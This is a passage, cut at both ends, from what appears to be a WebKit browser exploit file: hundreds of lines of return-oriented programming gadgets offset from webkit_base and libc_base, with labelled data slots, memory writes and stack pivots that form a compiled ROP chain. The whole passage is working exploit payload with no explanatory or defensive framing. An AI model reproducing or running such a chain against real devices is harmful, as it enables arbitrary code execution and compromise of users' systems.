+ropchain+181112, //L2804 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+181064, //L2801 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+181096, //L2803 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2801: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2802: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2803: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2804: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+181192, //L2805 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+181208, //L2806 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L2805: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2806: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+181304, //L2808 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+181288, //L2807 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L2807: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2808: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+181416, //L2811 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L2809: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2810: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2811: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+181528, //L2812 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+181560, //L2814 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+181544, //L2813 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2812: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2813: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2814: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +webkit_base+15055763, //cmp rax, rcx ; sete al +webkit_base+8949069, //setle al +libc_base+232261, //movzx eax, al +libc_base+713278, //pop rsi +ropchain+181720, //L2815 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+181752, //L2817 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+181736, //L2816 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L2815: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2816: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2817: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+181896, //L2821 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+181912, //L2822 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+181880, //L2820 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+713278 //pop rsi +]); +//L2819: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2820: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2821: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2822: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+11809960, //cmp rax, rsi ; sete al +libc_base+232261, //movzx eax, al +webkit_base+426067, //shl rax, 3 +libc_base+713278, //pop rsi +ropchain+182024, //L2823+8 +libc_base+507828, //add rax, rsi +libc_base+145226, //mov rax, [rax] +libc_base+713278, //pop rsi +ropchain+182016, //L2823 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+489696 //pop rsp +]); +//L2823: +db([0, 0]); // 0x0 +set_gadgets([ +ropchain+182040, //L2823+24 +ropchain+182056, //L2818 +libc_base+489696, //pop rsp +ropchain+184640, //L2824 +//L2818: +libc_base+713278, //pop rsi +ropchain+182112, //L2826 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2825: +db([4294967256, 4294967295]); // -0x28 +set_gadget(libc_base+772328,); //pop rcx +//L2826: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+182216, //L2829 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+182200, //L2828 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2828: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2829: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+182360, //L2833 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+182328, //L2831 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+182344, //L2832 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2831: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2832: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2833: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+182432, //L2834 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2834: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+182488, //L2836 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2836: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+182584, //L2839 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2838: +db([4294967248, 4294967295]); // -0x30 +set_gadget(libc_base+772328,); //pop rcx +//L2839: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+182688, //L2842 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+182672, //L2841 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2841: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2842: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+182848, //L2845 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+182880, //L2847 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+182832, //L2844 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+182864, //L2846 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2844: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2845: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2846: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2847: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+182992, //L2848 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+183024, //L2850 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+183008, //L2849 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2848: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2849: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2850: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+183112, //L2851 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2851: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+183168, //L2853 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2853: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+183256, //L2856 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2855: +db([4294967256, 4294967295]); // -0x28 +set_gadget(libc_base+772328,); //pop rcx +//L2856: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +webkit_base+2989859, //mov [rax], rcx +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2858: +db([4294967252, 4294967295]); // -0x2c +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+183400, //L2861 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+183384, //L2860 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2860: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2861: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+183560, //L2864 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+183592, //L2866 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+183544, //L2863 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+183576, //L2865 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2863: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2864: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2865: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2866: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+183688, //L2868 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+183672, //L2867 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L2867: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2868: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+183784, //L2870 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2869: +db([4294967248, 4294967295]); // -0x30 +set_gadget(libc_base+772328,); //pop rcx +//L2870: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+183888, //L2873 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+183872, //L2872 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2872: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2873: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+184048, //L2876 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+184080, //L2878 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+184032, //L2875 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+184064, //L2877 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2875: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2876: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2877: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2878: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+184192, //L2879 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+184224, //L2881 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+184208, //L2880 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2879: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2880: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2881: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+844101, //sub rax, rcx ; sbb rdx, rcx +libc_base+713278, //pop rsi +ropchain+184368, //L2882 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+184400, //L2884 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+184384, //L2883 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L2882: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2883: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2884: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+184504, //L2886 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+184520, //L2887 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2885: +db([4294967252, 4294967295]); // -0x2c +set_gadget(libc_base+772328,); //pop rcx +//L2886: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2887: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +webkit_base+972324, //mov [rax], ecx +libc_base+713278, //pop rsi +ropchain+184584, //L2890 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2890: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+489696, //pop rsp +ropchain+184624, //L2889 +//L2749: +libc_base+489696, //pop rsp +ropchain+184640, //L2824 +//L2889: +libc_base+489696, //pop rsp +ropchain+178496, //L2734 +//L2824: +libc_base+713278, //pop rsi +ropchain+184696, //L2893 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2892: +db([4294967280, 4294967295]); // -0x10 +set_gadget(libc_base+772328,); //pop rcx +//L2893: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+184800, //L2896 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+184784, //L2895 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2895: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2896: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+184960, //L2899 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+184992, //L2901 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+184944, //L2898 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+184976, //L2900 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2898: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2899: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2900: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2901: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+185088, //L2903 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+185072, //L2902 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L2902: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2903: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+768796, //pop rax +//L2905: +ropchain+185192, //L2904 +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+489696, //pop rsp +ropchain+191184, //L2906 +//L2904: +libc_base+863109, //mov rax, rcx +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+740138, //mov rax, r8 +libc_base+713278, //pop rsi +ropchain+185280, //L2908 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2907: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2908: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2909: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+185400, //L2910 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+185416, //L2911 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1420514 //pop r8 +]); +//L2910: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2911: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+185536, //L2912 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+185520, //L2913 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L2913: +db([0, 0]); // 0x0 +set_gadget(libc_base+489696,); //pop rsp +//L2912: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+713278, //pop rsi +ropchain+185624, //L2915 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278, //pop rsi +ropchain+185608, //L2914 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L2914: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2915: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+185728, //L2916 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+185744, //L2917 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1420514 //pop r8 +]); +//L2916: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2917: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+185864, //L2918 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+185848, //L2919 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L2919: +db([0, 0]); // 0x0 +set_gadget(libc_base+489696,); //pop rsp +//L2918: +db([0, 0]); // 0x0 +//L2792: +set_gadget(libc_base+713278,); //pop rsi +db([208, 0]); // 0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+165442, //pop rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+713278, //pop rsi +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+608613, //pop rdx +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+772328, //pop rcx +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+1420514, //pop r8 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+17972187, //pop r9 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+765305, //xor rax, rax +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+11, //nop +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+11, //nop +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+713278, //pop rsi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+772328, //pop rcx +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+165442, //pop rdi +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+1420514, //pop r8 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+489696, //pop rsp +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([208, 0]); // 0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967080, 4294967295]); // -0xd8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([200, 0]); // 0xc8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967088, 4294967295]); // -0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([192, 0]); // 0xc0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967096, 